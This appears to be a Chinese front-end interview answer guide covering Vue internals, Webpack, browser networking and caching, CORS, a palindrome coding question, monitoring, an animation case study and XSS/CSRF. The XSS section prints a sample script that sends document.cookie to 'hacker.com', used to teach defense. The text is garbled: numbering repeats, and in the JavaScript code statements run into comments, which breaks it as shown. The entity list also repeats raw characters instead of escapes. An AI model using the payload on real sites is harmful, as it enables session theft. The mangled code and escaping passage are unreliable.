- `$attrs`: 包含了父作用域中不作为 `prop` 被识别 (且获取) 的特性绑定 (`class` 和 `style` 除外)。当一个组件没有 `props` 中声明某个属性时, `$attrs` 会包含所有父作用域的绑定, 并且可以通过 `v-bind="$attrs"` 传入内部组件。
- `$listeners`: 包含了父作用域中的 (不含 `.native` 修饰器的) `v-on` 事件监听器。它可以通过 `v-on="$listeners"` 传入内部组件。
- 常用于封装高级组件, 将 `props` 和事件透传给更深层的子组件。

7. 看过 Vue 的源码吗? 简单说一下 diff 算法的原理。

(说明: 这里是简述核心思想, Vue 源码中的 diff 算法非常复杂和优化。)

是的，我对 Vue 的响应式原理和 Virtual DOM 的 diff 算法有过一些学习和研究。

Vue 的 diff 算法是其 Virtual DOM（虚拟DOM）实现的核心部分，主要目的是**高效地更新真实 DOM**。当组件的状态发生变化时，Vue 会生成一个新的 VNode (虚拟节点树)，然后将这个新的 VNode 与旧的 VNode 进行比较，找出两者之间的差异，最后只将这些差异应用到真实的 DOM 上，而不是重新渲染整个页面。

核心原理:

Vue 的 diff 算法是**同层比较，不会跨级比较**。它会从根节点开始，对树进行深度优先遍历，比较同一层级的节点。

比较过程 (patch):

1. **判断两个节点是否值得比较:** 首先，`patch` 函数会接收新旧两个 VNode。如果两个节点不是同一个节点（例如 `key` 和 `tag` 不同），则直接用新的 VNode 替换旧的 VNode 及其所有子节点，不再进行后续的 diff。
2. **新旧节点相同:** 如果两个节点是相同的（`key` 和 `tag` 相同），则进行更详细的比较：
 - **文本节点:** 如果新旧节点都是文本节点，就比较它们的文本内容，如果不同则直接更新真实 DOM 的文本。
 - **元素节点:** 如果都是元素节点：
 - **更新属性:** 遍历新节点的属性，与旧节点的属性进行对比，更新变化的属性。
 - **比较子节点:** 这是 diff 算法最核心和复杂的部分。
 - **旧节点没有子节点，新节点有:** 直接将新节点的子节点创建并插入到 DOM 中。
 - **新节点没有子节点，旧节点有:** 直接将旧节点的子节点从 DOM 中移除。
 - **新旧节点都有子节点:** 这时就进入了**双端 diff 算法**。

双端 Diff 算法 (Vue 2):

Vue 2 的 diff 算法在比较子节点列表时，使用了四个指针：`oldStartIdx`，`oldEndIdx`，`newStartIdx`，`newEndIdx`，分别指向新旧两个子节点列表的头和尾。

在一个 `while` 循环中，它会进行以下四种比较，只要命中一个就会继续下一次循环：

1. **`oldStartVnode` vs `newStartVnode`** (头 vs 头): 如果相同，就地 `patch`，两个头指针都向后移动。
2. **`oldEndVnode` vs `newEndVnode`** (尾 vs 尾): 如果相同，就地 `patch`，两个尾指针都向前移动。
3. **`oldStartVnode` vs `newEndVnode`** (旧头 vs 新尾): 如果相同，`patch` 后将旧头节点移动到真实 DOM 的队尾，旧头指针后移，新尾指针前移。
4. **`oldEndVnode` vs `newStartVnode`** (旧尾 vs 新头): 如果相同，`patch` 后将旧尾节点移动到真实 DOM 的队首，旧尾指针前移，新头指针后移。

如果以上四种比较都没有命中，就会使用 `key` 来进行查找。它会创建一个 `key` 到 `index` 的映射表，用 `newStartVnode` 的 `key` 去旧的子节点列表中查找。

- **如果找到:** `patch` 对应的节点，并将其移动到正确的位置。
- **如果没找到:** 说明这是一个全新的节点，就创建一个新的 DOM 元素并插入。

循环结束后:

- 如果旧的指针先走完 (`oldStartIdx > oldEndIdx`), 说明新的列表中还有剩余节点，这些都是需要新增的，就批量插入。
- 如果新的指针先走完 (`newStartIdx > newEndIdx`), 说明旧的列表中还有剩余节点，这些都是需要删除的，就批量删除。

总结: Vue 的 diff 算法通过同层比较、key 的复用以及双端比较等策略，最大限度地减少了对真实 DOM 的操作，从而提高了更新性能。

5. Webpack 的核心概念有哪些？Loader 和 Plugin 的区别是什么？

Webpack 的核心概念:

1. **Entry (入口):** 指示 Webpack 应该使用哪个模块作为构建其内部**依赖图**的开始。Webpack 会从这个入口文件开始，找出所有直接和间接的依赖。
2. **Output (出口):** 告诉 Webpack 在哪里输出它所创建的 `bundles`，以及如何命名这些文件。
3. **Loader (加载器):** Webpack 本身只能理解 JavaScript 和 JSON 文件。**Loader** 让 Webpack 能够去处理其他类型的文件（如 `.css`，`.scss`，`.png`，`.vue`），并将它们转换为有效模块，以供应用程序使用，以及被添加到依赖图中。
4. **Plugin (插件):** 插件可以用于执行范围更广的任务，例如打包优化、资源管理、注入环境变量等。它们可以**贯穿 Webpack 打包的整个生命周期**，在特定的时机（钩子）执行操作。
5. **Mode (模式):** 通过选择 `development`，`production` 或 `none` 之中的一个，来启用 Webpack 相应模式下的内置优化。默认为 `production`。
6. **Module (模块):** 在 Webpack 的世界里，任何文件（CSS, JS, 图片等）都是一个模块。

Loader 和 Plugin 的区别:

特性	Loader	Plugin
作用	转换模块 (Transform)。 它是一个 转换器 。	扩展功能 (Extend)。 它是一个 扩展器 。
功能	专注于 处理和转换特定类型的文件 。例如，css-loader 读取 CSS 文件，babel-loader 将 ES6+ 转换为 ES5。	解决 Loader 无法实现的其他事情。例如，HtmlWebpackPlugin 创建 HTML 文件，CleanWebpackPlugin 清理构建目录。
运行时机	在 模块加载时 执行，在 module.rules 中配置。	在 Webpack 的 整个编译生命周期 中，通过钩子 (Hooks) 来工作。在 plugins 数组中配置。
本质	是一个 函数 ，接收源文件内容作为参数，返回转换后的内容。	是一个带有 apply 方法的 对象 。Webpack 在安装插件时会调用这个 apply 方法，并传入 compiler 对象。
例子	babel-loader, css-loader, style-loader, file-loader, vue-loader	HtmlWebpackPlugin, MiniCssExtractPlugin, CleanWebpackPlugin, TerserWebpackPlugin

简单总结: **Loader** 负责文件类型的转换，**Plugin** 负责除此之外的所有事情，它在更高层面上影响整个构建过程。

7. 做过哪些 Webpack 相关的性能优化？

Webpack 的性能优化主要可以分为两个方面：**提升构建速度**和**优化产出代码**。

8. 提升构建速度:

- **升级版本:** 保持 Webpack、Node.js、Loader 和 Plugin 为最新版本，新版本通常会带来性能改进。
- **缩小构建范围 (减少要处理的文件):**

- `exclude` / `include`: 在配置 Loader 时, 明确使用 `include` 指定要处理的文件夹, 或用 `exclude` 排除 `node_modules` 等不需要处理的文件夹。
 - `resolve.extensions`: 配置时尽量减少数组长度, 并把最常用的文件类型放在前面。
 - `resolve.alias`: 为常用的模块或路径创建别名, 减少模块搜索过程。
 - 多进程/多实例构建:
 - `thread-loader`: 将耗时的 Loader (如 `babel-loader`) 放到这个 loader 之后, 它会为指定的 loader 开启多进程处理。
 - `HappyPack` (已不推荐, `thread-loader` 是更好的替代品)。
 - 缓存:
 - `cache-loader`: 在一些性能开销较大的 Loader 之前添加, 将结果缓存到磁盘中。
 - Webpack 5 内置缓存: 在 `webpack.config.js` 中设置 `cache: { type: 'filesystem' }`, 可以缓存生成的 Webpack 模块和 chunk, 来改善构建速度。
 - Babel 缓存: 在 `babel-loader` 中设置 `cacheDirectory: true`, 开启 Babel 编译结果缓存。
 - 减少不必要的编译:
 - DLL (动态链接库): 使用 `DllPlugin` 和 `DllReferencePlugin` 将不常变化的库 (如 `vue`, `react`) 预先打包, 并在主构建中直接引用。这样在后续构建中就不需要再重新编译这些库。
- ## 9. 优化产出代码 (减小打包体积、提升加载性能):
- 代码压缩:
 - JS 压缩: Webpack 在 `production` 模式下默认使用 `TerserWebpackPlugin`。
 - CSS 压缩: 使用 `CssMinimizerWebpackPlugin` 或 `optimize-css-assets-webpack-plugin`。
 - 代码分割 (Code Splitting):
 - `optimization.splitChunks`: 这是 Webpack 4+ 最主要的优化功能。它可以将公共模块、`node_modules` 中的模块提取到单独的 chunk 中, 避免重复打包, 利用浏览器缓存。
 - 动态导入 `import()`: 对于某些模块 (如路由组件), 使用动态 `import()` 语法进行懒加载, 只有在需要时才加载对应的代码块, 可以极大地优化首页加载速度。
 - Tree Shaking (摇树):
 - 移除 JavaScript 上下文中未引用的代码 (Dead Code)。它依赖于 ES6 模块语法 (`import` 和 `export`)。
 - 在 `production` 模式下默认开启。需要确保 Babel 不会将 ES6 模块转换为 CommonJS 模块 (`@babel/preset-env` 的 `modules` 选项设置为 `false`)。

- **图片优化:**

- 使用 `image-webpack-loader` 在打包时对图片进行压缩。
- 使用 `url-loader` 将小图片转换为 Base64 格式，内联到代码中，减少 HTTP 请求。

- **分析打包体积:**

- 使用 `webpack-bundle-analyzer` 插件生成一个可视化的打包分析报告，可以直观地看到哪些模块占用了最大的体积，从而进行针对性优化。

10. 从浏览器地址栏输入 URL 到页面最终展示，中间发生了什么？

这是一个经典的前端面试题，涵盖了计算机网络、操作系统、浏览器渲染等多个方面的知识。

1. URL 解析 (Parsing):

浏览器首先解析用户输入的 URL，判断其合法性，并解析出协议（`http` / `https`）、域名、端口、路径、查询参数等信息。

2. DNS 查询 (Domain Name System):

- 浏览器会检查**自身缓存**中是否有该域名对应的 IP 地址。
- 如果没有，会检查**操作系统缓存**（如 `hosts` 文件）。
- 还没有，就会向**本地域名服务器 (LDNS)** 发起一个 DNS 查询请求。
- LDNS 会查询自己的缓存，如果没有，就会进行一个**递归查询**：从根域名服务器 -> 顶级域名服务器 (.com) -> 权威域名服务器（负责该域名的服务器），最终找到域名对应的 IP 地址，并返回给浏览器。

3. 建立 TCP 连接:

- 浏览器获得服务器的 IP 地址后，会与服务器通过**三次握手**建立一个 TCP 连接。
 - i. **SYN**: 客户端发送一个 SYN（同步序列编号）报文给服务器，请求建立连接。
 - ii. **SYN-ACK**: 服务器收到后，返回一个 SYN-ACK（同步确认）报文作为响应。
 - iii. **ACK**: 客户端收到后，再发送一个 ACK（确认）报文，连接建立成功。
- 如果 URL 是 `https` 协议，还需要在 TCP 连接之上建立一个 **TLS/SSL** 安全连接（进行证书验证、密钥交换等）。

4. 发送 HTTP 请求:

- TCP 连接建立后，浏览器会构造一个 HTTP 请求报文，并通过该连接发送给服务器。请求报文包括：
 - **请求行**: 请求方法（`GET` / `POST`）、URL 路径、HTTP 协议版本。
 - **请求头**: `Host` , `User-Agent` , `Accept` , `Cookie` 等信息。
 - **请求体**: `POST` 请求时携带的数据。

5. 服务器处理请求并响应:

- 服务器（如 Nginx, Apache）接收到请求后，会根据 URL 路径和参数，交由相应的后端程序处理（如 Node.js, Java）。
- 后端程序处理完毕后，生成一个 HTTP 响应报文，返回给浏览器。响应报文包括：
 - **状态行**: HTTP 协议版本、状态码（如 `200 OK`）、状态描述。
 - **响应头**: `Content-Type`, `Content-Length`, `Set-Cookie`, 缓存相关头（`Cache-Control`, `Expires`）等。
 - **响应体**: 实际的资源内容，如 HTML 文档。

6. 关闭 TCP 连接:

- 通常情况下，浏览器和服务器会通过**四次挥手**来关闭 TCP 连接。
- 如果 HTTP 请求头中包含 `Connection: keep-alive`，则 TCP 连接会保持一段时间，以便复用进行后续的请求。

7. 浏览器渲染页面:

- 浏览器接收到 HTML 响应体后，开始解析和渲染页面。
- **构建 DOM 树**: 解析 HTML 代码，生成一个树状结构的 DOM (Document Object Model)。
- **构建 CSSOM 树**: 在解析过程中，如果遇到 CSS 链接（`<link>`）或样式（`<style>`），会异步下载并解析 CSS，生成 CSSOM (CSS Object Model)。
- **执行 JavaScript**: 如果遇到 `<script>` 标签，会阻塞 DOM 的解析（除非有 `defer` 或 `async` 属性），下载并执行 JS 代码。JS 可能会修改 DOM 或 CSSOM。
- **构建渲染树 (Render Tree)**: 将 DOM 树和 CSSOM 树结合起来，生成渲染树。渲染树只包含需要显示的节点及其样式信息（`display: none` 的节点不会在渲染树中）。
- **布局 (Layout/Reflow)**: 根据渲染树，计算出每个节点在屏幕上的确切位置和大小。
- **绘制 (Painting)**: 将渲染树的每个节点绘制到屏幕上。
- **合成 (Compositing)**: 浏览器会将页面分成多个图层，并将这些图层合成为最终的屏幕图像，由 GPU 来完成。

8. 页面加载完成: 当所有资源（HTML, CSS, JS, 图片等）都加载和渲染完毕后，页面就最终展示给了用户。

9. HTTP 常见的状态码有哪些？301 和 302 有什么区别？

常见状态码分类:

- **1xx (信息性状态码)**: 表示服务器已接收请求，需要继续处理。

- `100 Continue` : 客户端应继续其请求。
- **2xx (成功状态码)**: 表示请求已成功被服务器接收、理解、并接受。
 - `200 OK` : 请求成功。
 - `201 Created` : 请求已经被实现，而且有一个新的资源已经依据请求的需要而创建。
 - `204 No Content` : 服务器成功处理了请求，但没有返回任何内容。
- **3xx (重定向状态码)**: 表示需要客户端采取后续操作才能完成请求。
 - `301 Moved Permanently` : 永久重定向。
 - `302 Found` : 临时重定向。
 - `304 Not Modified` : 客户端缓存的资源仍然有效，可以直接使用。
- **4xx (客户端错误状态码)**: 表示客户端的请求有错误。
 - `400 Bad Request` : 请求语法错误。
 - `401 Unauthorized` : 请求需要用户认证。
 - `403 Forbidden` : 服务器理解请求客户端的请求，但是拒绝执行此请求。
 - `404 Not Found` : 服务器上无法找到请求的资源。
- **5xx (服务器错误状态码)**: 表示服务器在处理请求时发生了错误。
 - `500 Internal Server Error` : 服务器内部错误。
 - `502 Bad Gateway` : 作为网关或代理的服务器，从上游服务器收到无效响应。
 - `503 Service Unavailable` : 服务器当前无法处理请求（由于超载或维护）。

301 和 302 的区别:

特性	301 Moved Permanently (永久重定向)	302 Found (临时重定向)
语义	请求的资源已 永久 移动到新的 URL。	请求的资源 临时 从不同的 URL 响应。
浏览器行为	浏览器会缓存这个重定向。下次再请求旧 URL 时，会直接请求新 URL。	浏览器 不会缓存 这个重定向。每次请求旧 URL 都会先访问服务器，再由服务器告诉它去新 URL。
搜索引擎	搜索引擎会更新其索引，将旧地址的权重和排名转移到新地址。	搜索引擎会认为旧地址依然是有效的，不会将权重转移到新地址。
使用场景	网站域名更换、URL 结构调整等永久性变更。	网站维护时的临时跳转、A/B 测试、未登录用户跳转到登录页等。

简单来说，如果你希望用户和搜索引擎以后都访问新地址，就用 `301`；如果只是一个临时性的跳转，以后可能还会用回旧地址，就用 `302`。

10. 聊聊浏览器的缓存机制。

浏览器的缓存机制是 Web 性能优化的关键一环。它将用户请求过的资源（HTML, CSS, JS, 图片等）存储在本地，当用户再次请求相同资源时，可以直接从本地读取，而无需再次向服务器发起请求，从而**减少延迟、加快页面加载速度、减轻服务器压力**。

浏览器缓存主要分为两大类：**强缓存**和**协商缓存**。

强缓存 (Strong Cache):

当浏览器请求一个资源时，会先检查这个资源是否存在强缓存，并且是否在有效期内。如果命中强缓存，浏览器会直接从本地缓存中读取资源，**不会向服务器发送任何请求**。HTTP 状态码通常是 `200 OK (from memory cache / from disk cache)`。

控制强缓存的 HTTP 头部字段有两个：

1. **Expires (HTTP/1.0):**

- 值为一个**绝对时间**的 GMT 格式字符串（如 `Expires: Wed, 21 Oct 2025 07:28:00 GMT`）。

- 表示资源的过期时间。
- **缺点:** 客户端和服务器的时间可能不一致，导致缓存失效。

2. **Cache-Control (HTTP/1.1)** (优先级更高):

- 值为一个相对时间，`max-age=秒数`。例如 `Cache-Control: max-age=3600`，表示资源在 3600 秒内有效。
- **常用值:**
 - `public`: 资源可以被任何中间代理（如 CDN）缓存。
 - `private`: 资源只能被最终用户的浏览器缓存。
 - `no-cache`: **需要进行协商缓存**，会向服务器验证资源是否过期。
 - `no-store`: **完全不使用任何缓存**，每次都必须向服务器请求完整的资源。

协商缓存 (Negotiation Cache / Weak Cache):

如果强缓存失效（过了 `max-age`），或者资源的 `Cache-Control` 设置为 `no-cache`，浏览器就会发起一个**协商缓存**的请求。

浏览器会向服务器发送一个请求，但这个请求会带上一些特殊的**缓存标识**，由服务器来判断缓存是否仍然可用。

- 如果服务器判断缓存可用，会返回 `304 Not Modified` 状态码，响应体为空。浏览器接收到后，直接从本地缓存中加载资源。
- 如果服务器判断资源已更新，会返回 `200 OK` 状态码，并在响应体中携带最新的资源。

控制协商缓存的 HTTP 头部字段有两组（成对使用）：

1. **Last-Modified / If-Modified-Since** :

- **首次请求:** 服务器在响应头中返回 `Last-Modified`，表示资源的最后修改时间。
- **后续请求:** 浏览器在请求头上带上 `If-Modified-Since`，其值为上次服务器返回的 `Last-Modified` 的值。
- **服务器比较:** 服务器比较 `If-Modified-Since` 的值和资源的实际最后修改时间。如果一致，返回 304；如果不一致，返回 200 和新资源。
- **缺点:** 时间戳的精度是秒级，一秒内多次修改无法识别；如果文件内容没变，但修改时间变了（如 `touch` 命令），也会导致缓存失效。

2. **ETag / If-None-Match** (优先级更高):

- **ETag (Entity Tag):** 是服务器为每个资源生成的唯一标识符（类似文件指纹或哈希值）。只要资源内容有变化，`ETag` 就会改变。
- **首次请求:** 服务器在响应头中返回 `ETag`。
- **后续请求:** 浏览器在请求头上带上 `If-None-Match`，其值为上次服务器返回的 `ETag` 的

- **服务器比较:** 服务器比较 `If-None-Match` 的值和当前资源的 `ETag`。如果一致，返回 304；如果不一致，返回 200 和新资源。
- **优点:** 比 `Last-Modified` 更精确，可以解决其所有缺点。

缓存位置:

浏览器缓存的资源会存储在四个不同的位置，读取优先级从高到低:

1. **Service Worker Cache:** 独立于浏览器，开发者可以编程控制。
2. **Memory Cache (内存缓存):** 速度最快，但容量小，且关闭标签页后会清空。
3. **Disk Cache (硬盘缓存):** 速度较慢，但容量大，可持久存储。
4. **Push Cache (推送缓存):** HTTP/2 的特性，会话结束时失效。

用户操作对缓存的影响:

- **地址栏回车/链接跳转:** 正常检查缓存。
- **F5 / 点击刷新按钮:** 浏览器会跳过强缓存，直接发起协商缓存 (`Cache-Control: max-age=0`)。
- **Ctrl + F5 (强制刷新):** 浏览器会忽略所有缓存，直接向服务器请求完整资源 (`Cache-Control: no-cache` , `Pragma: no-cache`)。

5. 跨域是什么？有哪些解决方案？

跨域是什么？

跨域是由于浏览器的**同源策略 (Same-Origin Policy)** 引起的。同源策略是一个重要的安全策略，它限制一个源 (Origin) 的文档或脚本如何与来自另一个源的资源进行交互。

“源”由 **协议 (Protocol)**、**域名 (Host)** 和 **端口 (Port)** 三者共同定义。只要这三者中有一个不同，就属于不同的源，它们之间的资源交互就会受到限制。

例如，`http://www.example.com/page.html` 这个 URL 的源是:

- 协议: `http://`
- 域名: `www.example.com`
- 端口: `80` (http 默认)

解决方案:

1. **CORS (Cross-Origin Resource Sharing / 跨域资源共享)**
 - 这是最常用、最正规的解决方案。
 - **原理:** 服务器端通过设置特定的 HTTP 响应头，来授权浏览器允许跨域请求。
 - **实现:** 后端在响应头中添加 `Access-Control-Allow-Origin` 字段。

- `Access-Control-Allow-Origin: *` (允许任何源)
- `Access-Control-Allow-Origin: http://api.example.com` (只允许特定源)
- CORS 请求分为**简单请求**和**非简单请求**。非简单请求（如 `PUT` , `DELETE` 方法，或 `Content-Type` 为 `application/json`）会先发送一个 `OPTIONS` 方法的**预检请求**，以确认服务器是否允许实际的请求。

2. JSONP (JSON with Padding)

- **原理:** 利用 `<script>` 标签的 `src` 属性不受同源策略限制的特点。
- **实现:**
 - i. 前端定义一个回调函数（如 `handleResponse`）。
 - ii. 通过 `<script>` 标签向服务器发起请求，并将回调函数名作为参数传递（如 `http://api.example.com/data?callback=handleResponse`）。
 - iii. 服务器接收到请求后，将数据包裹在该回调函数中返回，如 `handleResponse({ "data": "some data" })`。
 - iv. 浏览器接收到响应后，会立即执行这段 JS 代码，从而调用前端定义好的回调函数。
- **缺点:** 只支持 `GET` 请求；不安全（容易遭受 XSS 攻击）。现在已较少使用。

3. 代理 (Proxy)

- **原理:** 利用服务器之间通信不受同源策略限制的特点。将跨域请求发送到同源的后端服务器，由该服务器作为代理，去请求目标服务器，然后将结果返回给前端。
- **实现:**
 - **Nginx 反向代理:** 配置 Nginx，将某个路径的请求转发到目标 API 服务器。
 - **Node.js 中间层:** 在 Node.js 服务中设置一个接口，该接口负责请求外部 API 并返回数据。
 - 在开发环境中，`webpack-dev-server` 或 `Vite` 都提供了代理配置功能，可以方便地解决开发时的跨域问题。

4. WebSocket

- WebSocket 是一种通信协议，它不受同源策略的限制，可以实现浏览器与服务器之间的全双工通信，因此天然可以跨域。

5. `postMessage`

- 主要用于窗口之间（如 `iframe` 与主页面）的跨源通信。

6. 算法题：实现一个函数，判断一个字符串是否是有效的回文。

题目要求:

实现一个函数，判断一个字符串是否是有效的回文。在判断时，我们只需要考虑字母和数字，并忽略大小写。空字符串被视作有效的回文。

示例:

- 输入: "A man, a plan, a canal: Panama"
- 输出: `true`
- 输入: "race a car"
- 输出: `false`

解题思路:

最经典的方法是使用**双指针**。

1. 首先，对字符串进行预处理：去掉所有非字母和数字的字符，并将所有字母转换为小写。
2. 然后，设置两个指针，`left` 指向字符串的开头，`right` 指向字符串的结尾。
3. 在一个 `while` 循环中，比较 `left` 和 `right` 指向的字符。
 - 如果两个字符不相等，说明它不是回文，直接返回 `false`。
 - 如果相等，则将 `left` 指针向右移动一位，`right` 指针向左移动一位。
4. 循环的条件是 `left < right`。如果循环正常结束（即没有中途返回 `false`），说明所有对应的字符都相等，该字符串是回文，返回 `true`。

代码实现 (JavaScript):

代码块

```
1  /**
2   * @param {string} s
3   * @return {boolean}
4   */function isPalindrome(s) {
5   // 1. 预处理字符串：移除所有非字母数字字符，并转为小写const formattedStr =
    s.replace(/[^A-Za-z0-9]/g, '').toLowerCase();
6
7   // 如果处理后的字符串是空的，根据题意是有效回文if (formattedStr.length === 0) {
8     return true;
9   }
10
11  // 2. 使用双指针进行判断let left = 0;
12  let right = formattedStr.length - 1;
13
14  while (left < right) {
15    if (formattedStr[left] !== formattedStr[right]) {
16      // 3. 如果左右指针指向的字符不相等，则不是回文return false;
17    }
18    // 4. 移动指针
```

```

19     left++;
20     right--;
21 }
22
23 // 5. 如果循环正常结束，则是回文return true;
24 }
25
26 // --- 测试用例 ---console.log(isPalindrome("A man, a plan, a canal: Panama"));
// trueconsole.log(isPalindrome("race a car")); //
falseconsole.log(isPalindrome(" ")); // true (处理
后为空字符串)console.log(isPalindrome("ab_a")); // true

```

另一种不进行预处理的解法 (在循环中跳过无效字符):

这种方法可以避免创建一个新的字符串，空间复杂度更低。

代码块

```

1  function isPalindromeInPlace(s) {
2      let left = 0;
3      let right = s.length - 1;
4      const isAlphanumeric = (char) => /[a-zA-Z0-9]/.test(char);
5
6      while (left < right) {
7          // 从左边找到一个字母或数字while (left < right &&
!isAlphanumeric(s[left])) {
8              left++;
9          }
10         // 从右边找到一个字母或数字while (left < right &&
!isAlphanumeric(s[right])) {
11             right--;
12         }
13
14         // 比较，忽略大小写if (s[left].toLowerCase() !== s[right].toLowerCase())
{
15             return false;
16         }
17
18         left++;
19         right--;
20     }
21
22     return true;
23 }
24
25 // --- 测试用例 ---console.log('--- In-place solution ---');

```

```
26 console.log(isPalindromeInPlace("A man, a plan, a canal: Panama")); //
    trueconsole.log(isPalindromeInPlace("race a car")); //
    falseconsole.log(isPalindromeInPlace(" ")); //
    true
```

二面参考答案：

2. 你们项目是如何做前端监控的？比如错误监控、性能监控。

前端监控是保障产品质量和用户体验的重要环节，我们主要从**错误监控**、**性能监控**和**用户行为监控**三个方面来搭建监控体系。我们通常会采用**自研上报+第三方服务**相结合的方式。

错误监控：

- **目标:** 及时发现并定位线上代码的异常，以便快速修复。
- **实现方式:**

a. JavaScript 运行时错误:

- 通过 `window.addEventListener('error', callback, true)` 捕获 JS 运行时错误（非异步）。
- 通过 `window.addEventListener('unhandledrejection', callback)` 捕获未被 `catch` 的 `Promise` 异常。

b. 资源加载错误:

- 同样可以通过 `window.addEventListener('error', callback, true)` 捕获，当 `event.target` 是 `<img>`，`<script>`，`<link>` 等元素时，说明是资源加载错误。

c. Vue 框架错误:

- 利用 Vue 提供的 `Vue.config.errorHandler` 来捕获组件生命周期和渲染过程中的所有错误。

d. HTTP 请求错误:

- 在封装的 `axios` 中，通过响应拦截器（interceptor）捕获所有 HTTP 状态码非 2xx 的请求，记录请求信息（URL, method, params）和响应信息。

- **上报内容:** 当捕获到错误时，我们会收集尽可能多的上下文信息进行上报，包括：

- 错误信息（`message`）和错误堆栈（`stack`）。
- 用户设备信息（User Agent, screen resolution）。
- 当前页面 URL。
- 发生错误时的用户操作记录（行为监控）。
- SourceMap 支持：为了定位到压缩混淆后的源码位置，我们会将 SourceMap 文件上传到监控平台（如 Sentry），平台会自动进行错误堆栈的还原。

- **第三方服务:** 我们主要使用 **Sentry**，它提供了成熟的错误收集、归类、报警和 SourceMap 分析功能，非常强大。

3. 性能监控:

- **目标:** 量化页面的加载和运行性能，发现性能瓶颈，持续优化用户体验。
- **核心指标 (Web Vitals):**
 - **LCP (Largest Contentful Paint):** 最大内容绘制，测量加载性能。
 - **FID (First Input Delay):** 首次输入延迟，测量交互性。
 - **CLS (Cumulative Layout Shift):** 累积布局偏移，测量视觉稳定性。
- **实现方式:**
 - 我们使用浏览器原生提供的 **Performance API** (`performance.timing`, `Navigation Timing API`) 来采集各项性能指标，例如：
 - **DNS 查询耗时:** `domainLookupEnd - domainLookupStart`
 - **TCP 连接耗时:** `connectEnd - connectStart`
 - **白屏时间 (FP):** `responseStart - navigationStart`
 - **DOM 解析耗时:** `domInteractive - responseEnd`
 - **页面加载总耗时:** `loadEventEnd - navigationStart`
 - 通过 `PerformanceObserver` API 来监听和采集 LCP, FID, CLS 等现代性能指标。
- **上报与分析:** 将采集到的性能数据上报到监控平台（可以是自研的，也可以是 Sentry 等），通过仪表盘进行可视化分析，设置性能基线和报警阈值。我们也会结合 **Lighthouse** 在开发和 CI/CD 流程中进行定期的性能审计。

4. 讲一下你在项目里做过的比较复杂的交互或者动画效果。

（**注意:** 这也是一个示例回答，您需要根据自己的实际项目经验来填充内容。）

在我之前做过的一個**数据大屏**项目中，有一个比较复杂的交互是“**数据钻取时的联动飞线动画**”。

- **场景描述:** 大屏上有一个中国地图，地图上展示了各个省份的销售额。当用户点击某个省份（比如“广东”）时，页面需要实现以下联动效果：
 - a. 地图视角平滑地放大并聚焦到广东省。
 - b. 从广东省“飞出”一条或多条曲线（飞线），连接到该省下辖的几个重点城市（如广州、深圳）。
 - c. 飞线动画结束后，在旁边弹出一个详细的图表卡片，展示这几个重点城市的具体数据。

d. 同时，页面上其他的图表（如全国销售额排行榜）会以淡出淡入的方式，平滑地更新为广东省的数据。

- **技术挑战:**

a. **多组件状态同步:** 地图组件、图表卡片组件、排行榜组件之间需要状态同步和时序协调。

b. **动画的流畅性与时序控制:** 地图缩放、飞线动画、图表更新等多个动画需要精确地按顺序或并行执行，不能出现卡顿或时序错乱。

c. **复杂路径动画的实现:** 飞线需要沿着平滑的贝塞尔曲线运动，并且带有拖尾效果。

- **我的解决方案:**

a. **状态管理:** 使用 **Vuex** 来管理整个大屏的核心状态。当用户点击省份时，我派发一个 `action`，这个 `action` 异步地更新一个状态对象，如 `currentState: { province: '广东', cities: [...] }`。所有相关的组件都监听这个状态的变化。

b. **动画时序控制:** 我利用了 **GSAP (GreenSock Animation Platform)** 这个专业的动画库。GSAP 的 `Timeline` 功能非常适合编排复杂的动画序列。

- 我创建了一个 `Timeline` 实例。
- 使用 `timeline.to()` 方法，将地图的缩放和中心点移动作为第一个动画。
- 使用 `timeline.add()` 在地图动画即将结束时，触发飞线动画的开始。
- 飞线动画的 `onComplete` 回调中，再触发图表卡片的淡入动画。
- 排行榜组件通过 `watch` 监听 Vuex 状态变化，当数据更新后，使用 Vue 的 `<transition>` 组件配合 CSS Animation 实现淡入淡出效果。

c. **飞线动画实现:**

- 飞线的路径是基于起点（省会）和终点（城市）的经纬度，通过数学公式计算出的一条**二次贝塞尔曲线**。这个计算在 JS 中完成。
- 在 ECharts 中，可以使用其提供的 `lines` 图表类型，并配置 `effect` 属性来实现带有拖尾的动态效果。我将计算好的贝塞尔曲线路径点作为 `coords` 传入，ECharts 就能渲染出流畅的飞线动画。

通过 Vuex 统一管理状态，结合 GSAP 精确控制动画时序，并利用 ECharts 强大的可视化能力，最终实现了这个复杂但效果流畅、体验良好的联动交互。

5. 前端安全方面有了解吗？XSS 和 CSRF 是什么？如何防范？

是的，前端安全是开发中非常重要的一个环节。最常见的两种攻击方式是 XSS 和 CSRF。

XSS (Cross-Site Scripting / 跨站脚本攻击)

- **是什么:** 攻击者向 Web 页面里注入恶意的客户端脚本，当其他用户浏览该页之时，嵌入其中的恶意脚本就会被执行，从而达到窃取用户信息（如 Cookie）、监听用户行为、或者修改页面内容等目的。
- **举例:** 在一个博客评论区，攻击者提交了一段评论：

```
<script>document.location='http://hacker.com?'
```

```
cookie='+document.cookie</script>
```

。如果后端没有对这段输入做处理就直接存入数据库并展示在页面上，那么其他用户访问该页面时，他们的 Cookie 就会被发送到攻击者的服务器。

- **分类:**

- a. **存储型 XSS:** 恶意脚本被永久存储在目标服务器上。
- b. **反射型 XSS:** 恶意脚本作为 URL 的一部分，用户点击恶意链接时触发。
- c. **DOM 型 XSS:** 通过恶意脚本修改页面的 DOM 结构，不经过后端。

- **如何防范:**

- a. **输入过滤与输出转义 (核心):**

- **永远不要信任用户的任何输入。** 对用户输入进行严格的过滤，例如过滤掉 `<script>`，`onerror` 等敏感标签和属性。
- 在将数据渲染到页面上时，进行 **HTML 转义 (HTML Escape)**。将特殊字符（如 `<`，`>`，`&`，`"`，`'`）转换为 HTML 实体（如 `<`，`>`，`&`，`"`，`'`）。大部分前端框架（Vue, React）默认都会进行转义。

- b. **内容安全策略 (CSP - Content Security Policy):** 在 HTTP 响应头中设置 `Content-Security-Policy`，定义一个白名单，告诉浏览器只允许加载和执行来自指定源的脚本。

- c. **HttpOnly Cookie:** 为关键的 Cookie 设置 `HttpOnly` 属性，这样通过 `document.cookie` 将无法读取到该 Cookie，能有效防止 XSS 攻击窃取 Cookie。

CSRF (Cross-Site Request Forgery / 跨站请求伪造)

- **是什么:** 攻击者盗用你的身份，以你的名义发送恶意请求。它利用了浏览器在发送请求时会自动携带同源 Cookie 的特性。

- **举例:**

- a. 你登录了银行网站 `bank.com`，浏览器保存了你的登录凭证 Cookie。

- b. 你没有退出，又访问了一个恶意网站 `hacker.com`。

